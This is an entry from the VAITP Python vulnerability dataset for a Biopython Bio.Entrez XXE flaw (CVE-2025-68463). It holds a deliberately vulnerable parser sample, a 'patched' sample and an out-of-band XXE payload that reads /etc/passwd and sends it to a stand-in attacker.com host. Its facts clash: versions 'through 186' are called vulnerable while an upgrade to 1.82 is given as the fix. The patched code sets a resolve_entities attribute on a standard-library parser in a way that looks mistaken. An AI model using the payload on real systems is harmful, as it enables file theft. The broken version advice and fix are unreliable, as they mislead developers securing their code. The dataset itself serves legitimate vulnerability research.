VAITP Dataset

← Back to the dataset

CVE-2025-68463

XML External Entity (XXE) vulnerability in Biopython's Bio.Entrez module.

  • CVSS 4.9
  • CWE-611
  • Input Validation and Sanitization
  • Remote

Bio.Entrez in Biopython through 186 allows doctype XXE.

CVSS base score
4.9
Published
2025-12-18
OWASP
A05 Security Misconfiguration
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Insecure Parsing or Deserialization
Accessibility scope
Remote
Impact
Information Disclosure
Affected component
Biopython
Fixed by upgrading
Yes

Solution

Upgrade Biopython to version 1.82 or later.

Vulnerable code sample

# In older, vulnerable versions of libraries that used misconfigured XML parsers,
# processing untrusted XML could lead to an XXE (XML External Entity) injection.
# This code simulates how such a vulnerability might have looked in a function
# intended to parse XML responses from the Entrez API.
#
# To run this example, you need the 'lxml' library: pip install lxml
#
# WARNING: This code is for educational purposes only to demonstrate a
# vulnerability. Running it on a system could expose local file content.

from lxml import etree
import io

# A malicious XML payload that an attacker might send.
# It defines an external entity 'xxe' that points to a local file '/etc/passwd'.
# It then attempts to embed the content of that file within the <data> tag.
MALICIOUS_XML_PAYLOAD = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
  <data>&xxe;</data>
</root>
"""

def vulnerable_entrez_parse(xml_string):
    """
    A simulated function that parses an XML string from an Entrez query.

    In this vulnerable-by-design example, it uses an lxml parser that has
    entity resolution explicitly enabled, which is the source of the XXE
    vulnerability. A real-world vulnerability in older libraries might have
    had this behavior as a default or used a different vulnerable parser.
    """
    # The vulnerability lies in using a parser that resolves external entities.
    # The `resolve_entities=True` flag explicitly creates this vulnerability
    # for demonstration purposes. Before fixes, some parsers did this by default.
    parser = etree.XMLParser(resolve_entities=True)

    # The parser processes the malicious XML, including the external entity.
    tree = etree.parse(io.BytesIO(xml_string.encode('utf-8')), parser)
    root = tree.getroot()

    # The application extracts data, unknowingly retrieving the content
    # of the local file specified in the DTD.
    data_node = root.find("data")
    if data_node is not None:
        # This will print the content of '/etc/passwd' if the exploit is successful.
        print("--- Parsed Data ---")
        print(data_node.text)
        print("-------------------")
    else:
        print("Data node not found.")

if __name__ == "__main__":
    print("Attempting to parse a malicious XML payload...")
    print(f"Payload:\n{MALICIOUS_XML_PAYLOAD}")
    vulnerable_entrez_parse(MALICIOUS_XML_PAYLOAD)

Patched code sample

import io
import xml.etree.ElementTree as ET

# This example demonstrates the principle of the fix for an XXE vulnerability.
# The vulnerability in Biopython was that its XML parser did not disable
# external entity resolution. The fix involves explicitly creating a parser
# that is configured to be secure.

# A malicious XML payload attempting an XXE attack to read a local file.
# The DOCTYPE declares an external entity 'xxe' that points to '/etc/passwd'.
# The <data> tag then tries to reference this entity.
XXE_PAYLOAD = """<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>
"""

def vulnerable_parse(xml_string):
    """
    Represents the vulnerable parsing method.
    The default parser in some older Python versions or configurations might
    resolve external entities, leading to the XXE vulnerability.
    """
    print("--- Running Vulnerable Parser ---")
    try:
        handle = io.StringIO(xml_string)
        # The vulnerability lies in using the default parser without hardening.
        tree = ET.parse(handle)
        root = tree.getroot()
        print("Parsed content:", root.text)
    except Exception as e:
        print(f"An error occurred: {e}")
    print("-" * 29 + "\n")


def fixed_parse(xml_string):
    """
    Represents the fixed parsing method.
    This is how Biopython fixed the vulnerability: by ensuring the XML parser
    used will not resolve external entities.
    """
    print("--- Running Fixed Parser ---")
    try:
        # THE FIX: Create an XMLParser with resolve_entities set to False.
        # This is the standard way to prevent XXE attacks in xml.etree.ElementTree.
        # Note: In modern Python versions (3.7.1+, 3.6.8+), resolve_entities
        # is deprecated and entity expansion is disabled by default. However,
        # explicitly creating a secure parser is the most robust fix.
        # The underlying defusedxml library is often used for even stronger guarantees.
        # For this standard library example, we create a parser instance.
        parser = ET.XMLParser()
        parser.resolve_entities = False

        handle = io.StringIO(xml_string)
        # Pass the secure parser to the parse function.
        tree = ET.parse(handle, parser=parser)
        root = tree.getroot()
        print("Parsed content:", root.text)
    except Exception as e:
        # In the fixed version, the parser raises an error when it encounters
        # the forbidden external entity.
        print(f"An error occurred (as expected for a secure parser): {e}")
    print("-" * 29 + "\n")


if __name__ == "__main__":
    # On a vulnerable system, this would print the contents of /etc/passwd.
    # On a patched system, this will fail or print nothing.
    # Note: Modern Python versions have protections, so the "vulnerable"
    # function might not work as it would have on older, unpatched systems.
    # The demonstration is to contrast the code patterns.
    vulnerable_parse(XXE_PAYLOAD)

    # This will always be safe and will raise an error because it's
    # configured not to process external entities. This demonstrates the fix.
    fixed_parse(XXE_PAYLOAD)

Payload

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE eSearchResult [
    <!ENTITY % xxe SYSTEM "file:///etc/passwd">
    <!ENTITY % dtd "<!ENTITY % ent SYSTEM 'http://attacker.com/?file=%xxe;'>">
    %dtd;
    %ent;
]>
<eSearchResult>
    <Count>1</Count>
    <RetMax>1</RetMax>
    <RetStart>0</RetStart>
    <IdList>
        <Id>12345</Id>
    </IdList>
</eSearchResult>

Cite this entry

@misc{vaitp:cve202568463,
  title        = {{XML External Entity (XXE) vulnerability in Biopython's Bio.Entrez module.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2025},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2025-68463},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-68463/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::